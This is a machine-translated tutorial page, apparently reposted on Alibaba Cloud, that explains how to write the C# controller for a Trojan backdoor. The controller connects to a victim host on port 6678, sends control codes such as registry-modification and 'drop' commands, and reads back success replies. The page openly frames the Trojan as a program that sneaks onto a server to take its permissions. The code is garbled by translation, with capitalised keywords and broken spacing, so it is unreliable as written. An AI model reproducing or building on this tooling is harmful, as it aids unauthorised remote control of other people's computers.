C # client for implementing Trojan

Source: Internet
Author: User

A complete Trojan system consists of hardware, software, and connection. This section mainly introduces the software, which consists of control-side programs, trojan programs (background service programs), and Trojan preparation programs. The control end is used to remotely control the programs on the server. A Trojan program is a program that sneak into the server to obtain its operation permissions. A Trojan preparation program is used to set the port number, trigger conditions, and Trojan name of the Trojan program, A more concealed program stored on the server.

Technologies used:

The control program sends control code to control the server, and runs on the server background. The Registry is modified to control the server. The technology is not very difficult. It mainly reflects the network programming and Registry Modification of C.

Control side development:

The control end sends a control code to the server. After receiving the control code, the server (Trojan program) completes the specified requirement according to the control requirements. If the server completes the work, a successful message is returned.

Control End development:

You can set the control code by yourself. You do not need to explain it in detail. The main difficulties are as follows.

1. Connection Request

The System. NET. Sockets. TcpClient class in the. Net class is used,

TcpClient (string hostname, int port)

Hostname is the name of the host to be controlled. You can also use an IP address.

Port is a Port.

// System. EventArgs contains the base class of the event data class

Private void button7_Click (object sender, System. EventArgs e)

{

// Record operations and add operation information to the richTextBox Control

RichTextBox1.AppendText ("request connection" + textBox1.Text + "\ r ");

Int port = 6678;

Try

{

// Initialize a new TcpClient instance and connect to the specified port on the specified host

Client = new TcpClient (textBox1.Text, port );

}

Catch

{

MessageBox. Show ("the server is not online! Are you sure you want to enter the host name .");

RichTextBox1.AppendText ("the server is not online! Are you sure you want to enter the host name .");

}

} // Private void buttion

2. Test whether it is connected to the controlled machine.

The process of the program is to send the control code to check whether the control side has a response. If a response is returned, the control is successful. // Provides network-accessed data streams

// Private NetworkStream;

The Code is as follows:

Private void button8_Click (object sender, System. EventArgs e)

{

// Record operations

RichTextBox1.AppendText ("test connection" + "\ r ");

Try

{

Stream = client. GetStream ();

If (stream. CanWrite)

{

// Send control code

String control = "jiance ";

Byte [] by = System. Text. Encoding. ASCII. GetBytes (control. ToCharArray ());

Stream. Write (by, 0, by. Length );

// Use it again

Stream. Flush ();

// Start the thread for receiving reverse data

// Receive is a function executed by a thread. For details, refer to the analysis below.

ThreadReceive = new Thread (new ThreadStart (receive ));

ThreadReceive. Start ();

}}

Catch (Exception ee)

{RichTextBox1.AppendText (ee. Message + "\ r ");

MessageBox. Show (ee. Message );

}}

3. Control the effective code

Private void button9_Click (object sender, System. EventArgs e)

{

// Here is the control code to be sent. RadioButton is the form control.

If (radioButton1.Checked) {control = form2.zhucex ;}

Else if (radioButton2.Checked) {control = form3.zhuces ;}

Else if (radioButton3.Checked) {control = warring ;}

Else if (radioButton4.Checked) {control = suggest ;}

Else if (radioButton5.Checked) {control = form4.mumawe ;}

Else if (radioButton6.Checked) {control = drop ;}

If (control = "000000 ")

{

MessageBox. Show ("You have not entered any control targets! Do not send control signals ");

RichTextBox1.AppendText ("You have not entered any control targets! Do not send control signals ");

}

Else if (control! = "000000 ")

{Try

{// Record the operation

RichTextBox1.AppendText (control + "trying to control, waiting for response..." + "\ r ");

Stream = client. GetStream ();

If (stream. CanWrite)

{

Byte [] by = System. Text. Encoding. ASCII. GetBytes (control. ToCharArray ());

Stream. Write (by, 0, by. Length );

Stream. Flush ();

ThreadReceive = new Thread (new ThreadStart (receive ));

ThreadReceive. Start ();

} // Endif

} // Try

Catch

{

RichTextBox1.AppendText ("the server is not connected to 1. The control is invalid! "+" \ R ");

MessageBox. Show ("the server is not connected to 1. The control is invalid! "+" \ R ");

} // Else if

}

4. Functions executed by threads

Private void receive ()

{

// Set the space for reading data

Byte [] bb = new byte [3];

// Read 3 bytes, I is the actual number of bytes read

Int I = stream. Read (bb, 0, 3 );

// Convert to a string. If it is a Chinese control code, use string ss = // System. Text. Encoding. Unicode. GetString (bb );

String ss = System. Text. Encoding. ASCII. GetString (bb );

// Hjc indicates that the connection is successful, and hkz indicates that the control is successful.

If (ss = "hjc ")

{

MessageBox. Show ("connection successful ");

RichTextBox1.AppendText ("connection successful ");

}

If (ss = "hkz ")

{

RichTextBox1.AppendText (control + "control succeeded" + "\ r ");

MessageBox. Show (control + "control succeeded" + "\ r ");

}}

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.